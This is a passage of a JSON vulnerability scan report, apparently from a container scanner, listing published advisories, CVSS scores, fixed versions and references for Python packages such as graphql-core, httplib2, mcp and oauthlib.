"SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-23342", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:dd5ee0e3bfde388f6c3ba17077a9e403c408a54fd49f82928cca6234f264ba47", "Title": "python-ecdsa: vulnerable to the Minerva attack", "Description": "The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Versions 0.18.0 and prior are vulnerable to the Minerva attack. As of time of publication, no known patched version exists.", "Severity": "HIGH", "CweIDs": [ "CWE-203", "CWE-208", "CWE-385" ], "VendorSeverity": { "ghsa": 3, "nvd": 3, "redhat": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-23342", "https://github.com/tlsfuzzer/python-ecdsa", "https://github.com/tlsfuzzer/python-ecdsa/blob/master/SECURITY.md", "https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-wj6h-64fc-37mp", "https://minerva.crocs.fi.muni.cz", "https://minerva.crocs.fi.muni.cz/", "https://nvd.nist.gov/vuln/detail/CVE-2024-23342", "https://securitypitfalls.wordpress.com/2018/08/03/constant-time-compare-in-python", "https://securitypitfalls.wordpress.com/2018/08/03/constant-time-compare-in-python/", "https://www.cve.org/CVERecord?id=CVE-2024-23342" ], "PublishedDate": "2024-01-23T00:15:26.397Z", "LastModifiedDate": "2026-06-17T07:12:38.053Z" }, { "VulnerabilityID": "CVE-2026-112940", "VendorIDs": [ "GHSA-v4x8-3wr5-3wq8" ], "PkgName": "filelock", "PkgPath": "usr/local/lib/python3.14/site-packages/filelock-3.29.7.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/filelock@3.29.7", "UID": "ec3bc156747b04c4" }, "InstalledVersion": "3.29.7", "FixedVersion": "4.2.1", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112940", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0d7781366acf1dfd83b1d4fb1d992bb28a8ea11e2468d159ed5bff20947a75dc", "Title": "filelock: filelock: Arbitrary file overwrite via insecure database file reopening", "Description": "filelock is a platform-independent file lock for Python. From 3.20.4 until 4.2.1, ReadWriteLock let SQLite reopen the database and side files by name; on POSIX systems an attacker with rename access in a non-sticky parent can swap those names to cause overwrite or unlink operations, while a writable adjacent hot journal is additionally required for attacker-chosen content overwrites. This issue is fixed in version 4.2.1.", "Severity": "HIGH", "CweIDs": [ "CWE-363", "CWE-59" ], "VendorSeverity": { "ghsa": 3, "redhat": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "V3Score": 6.3 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112940", "https://advisory.echohq.com/cve/CVE-2026-112940", "https://github.com/tox-dev/filelock", "https://github.com/tox-dev/filelock/commit/5e3f2ec0c5fb17cb2635b60b2b68bc63ab81ca2d", "https://github.com/tox-dev/filelock/pull/834", "https://github.com/tox-dev/filelock/releases/tag/4.2.1", "https://github.com/tox-dev/filelock/security/advisories/GHSA-v4x8-3wr5-3wq8", "https://nvd.nist.gov/vuln/detail/CVE-2026-112940", "https://www.cve.org/CVERecord?id=CVE-2026-112940" ], "PublishedDate": "2026-10-20T15:17:16.827Z", "LastModifiedDate": "2026-10-22T22:18:02.827Z" }, { "VulnerabilityID": "CVE-2026-75507", "VendorIDs": [ "GHSA-vj8h-fx38-h3vc" ], "PkgName": "graphql-core", "PkgPath": "usr/local/lib/python3.14/site-packages/graphql_core-3.2.11.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/graphql-core@3.2.11", "UID": "9babd13f1246f115" }, "InstalledVersion": "3.2.11", "FixedVersion": "3.2.12, 3.3.0rc1", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-75507", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:60bd56a36c3b9dbd885e115680c97218b25bda9caf6abaaacbabd7b6dd88ab96", "Title": "graphql-core: graphql-core: Denial of Service via nested inline fragments during query validation", "Description": "GraphQL-core is a Python port of the GraphQL.js reference implementation. From 3.0.0 until 3.2.12 and 3.3.0rc1, the OverlappingFieldsCanBeMerged rule in specified_rules repeatedly compares fields that share response names and recursively re-compares flattened inline fragments during the validation phase. The prior named-fragment memoization does not cover this path, so nested repeated inline fragments can drive quadratic and worst-case O(n²·m²) CPU work before any resolver or AST-based depth or complexity control runs. An unauthenticated remote attacker can submit a shallow, highly compressible GraphQL query that pins a worker process and can saturate a multi-worker service. This issue is fixed in versions 3.2.12 and 3.3.0rc1.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-407" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-75507", "https://github.com/graphql-python/graphql-core", "https://github.com/graphql-python/graphql-core/commit/150e59814d97d12140be005a558c93188ef89198", "https://github.com/graphql-python/graphql-core/commit/29c2753a7ee30a96a4109e7c6add1a2dae0497d7", "https://github.com/graphql-python/graphql-core/releases/tag/v3.2.12", "https://github.com/graphql-python/graphql-core/releases/tag/v3.3.0rc1", "https://github.com/graphql-python/graphql-core/security/advisories/GHSA-vj8h-fx38-h3vc", "https://nvd.nist.gov/vuln/detail/CVE-2026-75507", "https://www.cve.org/CVERecord?id=CVE-2026-75507" ], "PublishedDate": "2026-10-22T17:16:59.757Z", "LastModifiedDate": "2026-10-23T22:17:00.11Z" }, { "VulnerabilityID": "CVE-2026-75508", "VendorIDs": [ "GHSA-r77w-qph3-7vf8" ], "PkgName": "graphql-core", "PkgPath": "usr/local/lib/python3.14/site-packages/graphql_core-3.2.11.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/graphql-core@3.2.11", "UID": "9babd13f1246f115" }, "InstalledVersion": "3.2.11", "FixedVersion": "3.2.12, 3.3.0rc1", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-75508", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:572fb15054440d31daf95bdb56937334a8f28094117ab1c5bdac85c8efef1bd4", "Title": "graphql-core: graphql-core: Denial of Service via token limit bypass using comments", "Description": "GraphQL-core is a Python port of the GraphQL.js reference implementation. From 3.2.3 until 3.2.12 and 3.3.0rc1, the parser's max_tokens limit in Parser.advance_lexer counts only non-comment tokens returned after Lexer.lookahead skips comments. Each skipped comment is still allocated as a Token and retained through token.next and token.prev, allowing a highly compressible comment-padded GraphQL document to pass a low token limit while consuming memory. An unauthenticated remote attacker can exhaust worker memory before AST-based depth or complexity controls run. This issue is fixed in versions 3.2.12 and 3.3.0rc1.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-75508", "https://github.com/graphql-python/graphql-core", "https://github.com/graphql-python/graphql-core/commit/437dea102e92fdf05a2971ca76787c5a5bad875a", "https://github.com/graphql-python/graphql-core/commit/80ef435a1808fbbcc4aaac63ae76771a1c91002d", "https://github.com/graphql-python/graphql-core/releases/tag/v3.2.12", "https://github.com/graphql-python/graphql-core/releases/tag/v3.3.0rc1", "https://github.com/graphql-python/graphql-core/security/advisories/GHSA-r77w-qph3-7vf8", "https://nvd.nist.gov/vuln/detail/CVE-2026-75508", "https://www.cve.org/CVERecord?id=CVE-2026-75508" ], "PublishedDate": "2026-10-22T17:16:59.933Z", "LastModifiedDate": "2026-10-29T12:17:13.617Z" }, { "VulnerabilityID": "CVE-2026-59939", "VendorIDs": [ "GHSA-j5g9-f88f-gfj3" ], "PkgName": "httplib2", "PkgPath": "usr/local/lib/python3.14/site-packages/httplib2-0.20.4.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/httplib2@0.20.4", "UID": "f4d4bc90a2aafd28" }, "InstalledVersion": "0.20.4", "FixedVersion": "0.32.0", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59939", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:7794c8f9f6bafabf6af7864e14b373176324cb526eb4c60c724f8be4fcba1236", "Title": "httplib2: httplib2: Denial of Service via unbounded decompression of HTTP response bodies", "Description": "httplib2 is a comprehensive HTTP client library for Python. Prior to 0.32.0, httplib2 performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate in _decompressContent in httplib2/init.py, allowing a malicious or compromised HTTP server to return a small compressed payload that expands to an arbitrarily large size in memory and causes MemoryError or OOM-kill in the client process. This issue is fixed in version 0.32.0.", "Severity": "HIGH", "CweIDs": [ "CWE-409" ], "VendorSeverity": { "alma": 3, "amazon": 2, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:50317", "https://access.redhat.com/security/cve/CVE-2026-59939", "https://advisory.echohq.com/cve/CVE-2026-59939", "https://bugzilla.redhat.com/2498212", "https://bugzilla.redhat.com/show_bug.cgi?id=2498212", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59939", "https://errata.almalinux.org/9/ALSA-2026-50317.html", "https://errata.rockylinux.org/RLSA-2026:50317", "https://github.com/httplib2/httplib2", "https://github.com/httplib2/httplib2/commit/87581ad6cf752fe3da2090c59058261d2d00a427", "https://github.com/httplib2/httplib2/releases/tag/v0.32.0", "https://github.com/httplib2/httplib2/security/advisories/GHSA-j5g9-f88f-gfj3", "https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2026-3444.yaml", "https://linux.oracle.com/cve/CVE-2026-59939.html", "https://linux.oracle.com/errata/ELSA-2026-50317-0.html", "https://lists.debian.org/debian-lts-announce/2026/08/msg00039.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59939", "https://ubuntu.com/security/notices/USN-8537-1", "https://www.cve.org/CVERecord?id=CVE-2026-59939" ], "PublishedDate": "2026-07-08T20:16:59.557Z", "LastModifiedDate": "2026-08-20T21:17:06.963Z" }, { "VulnerabilityID": "CVE-2026-119283", "VendorIDs": [ "GHSA-jpxq-7h8p-2q76" ], "PkgName": "joserfc", "PkgPath": "usr/local/lib/python3.14/site-packages/joserfc-1.7.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/joserfc@1.7.3", "UID": "a78ebe0995a3154d" }, "InstalledVersion": "1.7.3", "FixedVersion": "1.7.5", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-119283", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:6d64d1624fc60ff3a3a5d23811399727859d0d03f12c985afcac4355d9025cda", "Title": "joserfc: joserfc: Denial of Service via unbounded recipient processing during JWE decryption", "Description": "joserfc is a Python library that provides an implementation of several JSON Object Signing and Encryption (JOSE) standards. Prior to 1.7.5, joserfc.jwe.decrypt_json() accepts a JWE General JSON Serialization recipients array without a count limit and calls decrypt_cek() for every entry. An unauthenticated attacker who can submit a JWE to an endpoint using an RSA key-management algorithm can choose the number of private-key decryption operations performed by one request. The verify_all_recipients option does not reduce this work because the affected loop processes every recipient before consulting that setting, allowing repeated requests to exhaust service CPU without affecting confidentiality or integrity. This issue is fixed in version 1.7.5.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119283", "https://advisory.echohq.com/cve/CVE-2026-119283", "https://github.com/authlib/joserfc", "https://github.com/authlib/joserfc/commit/d6dc8df6c7609277e741069d3733e43996c1cd17", "https://github.com/authlib/joserfc/releases/tag/1.7.5", "https://github.com/authlib/joserfc/security/advisories/GHSA-jpxq-7h8p-2q76", "https://nvd.nist.gov/vuln/detail/CVE-2026-119283", "https://www.cve.org/CVERecord?id=CVE-2026-119283" ], "PublishedDate": "2026-10-29T22:17:01.047Z", "LastModifiedDate": "2026-10-30T17:17:17.74Z" }, { "VulnerabilityID": "CVE-2026-52869", "VendorIDs": [ "GHSA-jpw9-pfvf-9f58" ], "PkgName": "mcp", "PkgPath": "usr/local/lib/python3.14/site-packages/mcp-1.26.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/mcp@1.26.0", "UID": "e56032405e1c9bfa" }, "InstalledVersion": "1.26.0", "FixedVersion": "1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52869", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:65ea7fbc55de7e3dc57770ba48e2165ae35d9de508a49ff378f17615e08a46d7", "Title": "MCP Python SDK: HTTP transports serve session requests without verifying the authenticated principal", "Description": "The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to 1.27.2, the SSE and stateful Streamable HTTP transports mcp.server.sse.SseServerTransport and mcp.server.streamable_http_manager.StreamableHTTPSessionManager route requests to existing sessions using only the session_id query parameter or Mcp-Session-Id header without verifying the authenticated principal that created the session, allowing a different bearer-token-authenticated client with a known session ID to inject JSON-RPC messages into that session. This issue is fixed in version 1.27.2.", "Severity": "HIGH", "CweIDs": [ "CWE-639" ], "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.1 } }, "References": [ "https://advisory.echohq.com/cve/CVE-2026-52869", "https://github.com/modelcontextprotocol/python-sdk", "https://github.com/modelcontextprotocol/python-sdk/commit/1abcca2408a6b50e10ec601181f63f9978705c00", "https://github.com/modelcontextprotocol/python-sdk/commit/ce267b6fc515dc4efc1dc70b6975b16ff0feef0a", "https://github.com/modelcontextprotocol/python-sdk/pull/2690", "https://github.com/modelcontextprotocol/python-sdk/pull/2719", "https://github.com/modelcontextprotocol/python-sdk/releases/tag/v1.27.2", "https://github.com/modelcontextprotocol/python-sdk/security/advisories/GHSA-jpw9-pfvf-9f58", "https://nvd.nist.gov/vuln/detail/CVE-2026-52869" ], "PublishedDate": "2026-07-15T20:17:38.427Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-52870", "VendorIDs": [ "GHSA-hvrp-rf83-w775" ], "PkgName": "mcp", "PkgPath": "usr/local/lib/python3.14/site-packages/mcp-1.26.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/mcp@1.26.0", "UID": "e56032405e1c9bfa" }, "InstalledVersion": "1.26.0", "FixedVersion": "1.27.2", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52870", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f19ff6733c98e93a59c5aa5ff9c4a021d717a86824b36b7ee859010939df54dd", "Title": "MCP Python SDK: Experimental task handlers allow any client to access and cancel other clients' tasks", "Description": "The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). From 1.23.0 until 1.27.2, default handlers installed by server.experimental.enable_tasks() for tasks/list, tasks/get, tasks/result, and tasks/cancel operate only on task identifiers without recording the session that created each task, allowing any connected client to enumerate, read results from, consume messages for, or cancel other clients' tasks. This issue is fixed in version 1.27.2.", "Severity": "HIGH", "CweIDs": [ "CWE-862" ], "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "V3Score": 7.6 } }, "References": [ "https://advisory.echohq.com/cve/CVE-2026-52870", "https://github.com/modelcontextprotocol/python-sdk", "https://github.com/modelcontextprotocol/python-sdk/commit/62137874ff26dd74d2fea80ff528a7fd9ca7a5e7", "https://github.com/modelcontextprotocol/python-sdk/pull/2720", "https://github.com/modelcontextprotocol/python-sdk/releases/tag/v1.27.2", "https://github.com/modelcontextprotocol/python-sdk/security/advisories/GHSA-hvrp-rf83-w775", "https://nvd.nist.gov/vuln/detail/CVE-2026-52870" ], "PublishedDate": "2026-07-15T20:17:38.577Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-59950", "VendorIDs": [ "GHSA-vj7q-gjh5-988w" ], "PkgName": "mcp", "PkgPath": "usr/local/lib/python3.14/site-packages/mcp-1.26.0.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/mcp@1.26.0", "UID": "e56032405e1c9bfa" }, "InstalledVersion": "1.26.0", "FixedVersion": "1.28.1", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59950", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2b4c7ad04e9990ef7784ee3da8c50c7577fa475575745294a700e83e14d4ca14", "Title": "MCP Python SDK: WebSocket server transport does not support Host/Origin validation", "Description": "The MCP Python SDK, called mcp on PyPI, is a Python implementation of the Model Context Protocol (MCP). Prior to 1.28.1, the deprecated mcp.server.websocket.websocket_server transport accepted WebSocket handshakes without applying Host or Origin header validation, leaving no SDK-level way to restrict which origins could connect to applications that exposed that transport. This issue is fixed in version 1.28.1.", "Severity": "HIGH", "CweIDs": [ "CWE-346", "CWE-1385" ], "VendorSeverity": { "ghsa": 3, "nvd": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N", "V40Score": 7.6 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://advisory.echohq.com/cve/CVE-2026-59950", "https://github.com/modelcontextprotocol/python-sdk", "https://github.com/modelcontextprotocol/python-sdk/commit/777b8d06710c140e3606b0d4598e2aa48546c266", "https://github.com/modelcontextprotocol/python-sdk/pull/2992", "https://github.com/modelcontextprotocol/python-sdk/releases/tag/v1.28.1", "https://github.com/modelcontextprotocol/python-sdk/security/advisories/GHSA-vj7q-gjh5-988w", "https://nvd.nist.gov/vuln/detail/CVE-2026-59950" ], "PublishedDate": "2026-07-15T21:16:55.683Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-114613", "VendorIDs": [ "GHSA-j586-36cw-2gc2" ], "PkgName": "msgpack", "PkgPath": "usr/local/lib/python3.14/site-packages/msgpack-1.2.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/msgpack@1.2.1", "UID": "2e05be203e307fd3" }, "InstalledVersion": "1.2.1", "FixedVersion": "1.2.3", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-114613", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:9166a35d9441d7f6ea310460e3b6591c71a4fae86b691062476f6926053e1ebe", "Title": "msgpack: msgpack: Denial of Service via memory leak during map deserialization", "Description": "MessagePack is the serializer implementation for Python msgpack.org. Prior to 1.2.3, the msgpack-python C extension (msgpack._cmsgpack) leaks a decoded map value when deserialization rejects a key with strict_map_key=True (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both unpackb() and the streaming Unpacker API are affected. The pure-Python fallback does not exhibit this leak in the reported tests. This issue is fixed in version 1.2.3.", "Severity": "HIGH", "CweIDs": [ "CWE-401" ], "VendorSeverity": { "azure": 3, "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-114613", "https://advisory.echohq.com/cve/CVE-2026-114613", "https://github.com/msgpack/msgpack-python", "https://github.com/msgpack/msgpack-python/commit/620b0eb4c89cd72d4098564537624d9dbb2ce141", "https://github.com/msgpack/msgpack-python/releases/tag/v1.2.3", "https://github.com/msgpack/msgpack-python/security/advisories/GHSA-j586-36cw-2gc2", "https://nvd.nist.gov/vuln/detail/CVE-2026-114613", "https://www.cve.org/CVERecord?id=CVE-2026-114613" ], "PublishedDate": "2026-10-22T19:17:37.733Z", "LastModifiedDate": "2026-10-23T21:17:21.823Z" }, { "VulnerabilityID": "CVE-2026-118669", "VendorIDs": [ "GHSA-7984-qgvg-3j9c" ], "PkgName": "oauthlib", "PkgPath": "usr/local/lib/python3.14/site-packages/oauthlib-3.3.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/oauthlib@3.3.1", "UID": "fc04b11c9fd7f03f" }, "InstalledVersion": "3.3.1", "FixedVersion": "4.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-118669", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:29f3e2640a8526b27e7298a7e1601a63efb0c0b5fb4a719a4ecf88115d1fded5", "Title": "oauthlib: oauthlib: privilege escalation via client identity confusion in token grant handlers", "Description": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. Prior to 4.0.0, the client_credentials and Resource Owner Password Credentials token grant handlers can authenticate request.client as one confidential client while retaining an attacker-supplied request.client_id for validate_grant_type and validate_scopes. A lower-privilege authenticated client can therefore cause grant and scope authorization to use another client's identity when an application validator relies on the documented client_id argument, potentially issuing tokens with unauthorized grants or scopes. Validators that authorize exclusively from request.client may not be affected. This issue is fixed in version 4.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N", "V40Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-118669", "https://advisory.echohq.com/cve/CVE-2026-118669", "https://github.com/oauthlib/oauthlib", "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d", "https://github.com/oauthlib/oauthlib/pull/920", "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0", "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c", "https://nvd.nist.gov/vuln/detail/CVE-2026-118669", "https://www.cve.org/CVERecord?id=CVE-2026-118669" ], "PublishedDate": "2026-10-28T22:17:12.61Z", "LastModifiedDate": "2026-11-03T14:17:32.237Z" }, { "VulnerabilityID": "CVE-2026-49272", "VendorIDs": [ "GHSA-3jp2-3mrg-2vxc" ], "PkgName": "oauthlib", "PkgPath": "usr/local/lib/python3.14/site-packages/oauthlib-3.3.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/oauthlib@3.3.1", "UID": "fc04b11c9fd7f03f" }, "InstalledVersion": "3.3.1", "FixedVersion": "4.0.1", "Status": "fixed", "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-49272", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:554d5c5f7b71b34e05a187cb46ac320d7990007433fb82cf9c2e0bc32162dbc4", "Title": "oauthlib: oauthlib: Authentication bypass via missing device code validation", "Description": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. From 3.3.0 until 4.0.1, OAuthLib's RFC 8628 device workflow does not require DeviceCodeGrant.validate_token_request to check that the device_code parameter is present and valid. A caller whose client request is accepted by the configured validator and who knows a valid client ID enabled for the device workflow can submit a missing or bogus device code to the token endpoint and obtain a bearer token without completing device authorization. This issue is fixed in version 4.0.1.", "Severity": "HIGH", "CweIDs": [ "CWE-287" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N", "V3Score": 8.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N", "V3Score": 8.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-49272", "https://advisory.echohq.com/cve/CVE-2026-49272", "https://github.com/oauthlib/oauthlib", "https://github.com/oauthlib/oauthlib/commit/77a5f1c8ce00da2b0b8c5f6e9cc129920085f114", "https://github.com/oauthlib/oauthlib/pull/954", "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.1", "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-3jp2-3mrg-2vxc", "https://nvd.nist.gov/vuln/detail/CVE-2026-49272", "https://www.cve.org/CVERecord?id=CVE-2026-49272" ], "PublishedDate": "2026-11-05T21:18:50.447Z", "LastModifiedDate": "2026-11-05T22:18:44.593Z" }, { "VulnerabilityID": "CVE-2026-112393", "VendorIDs": 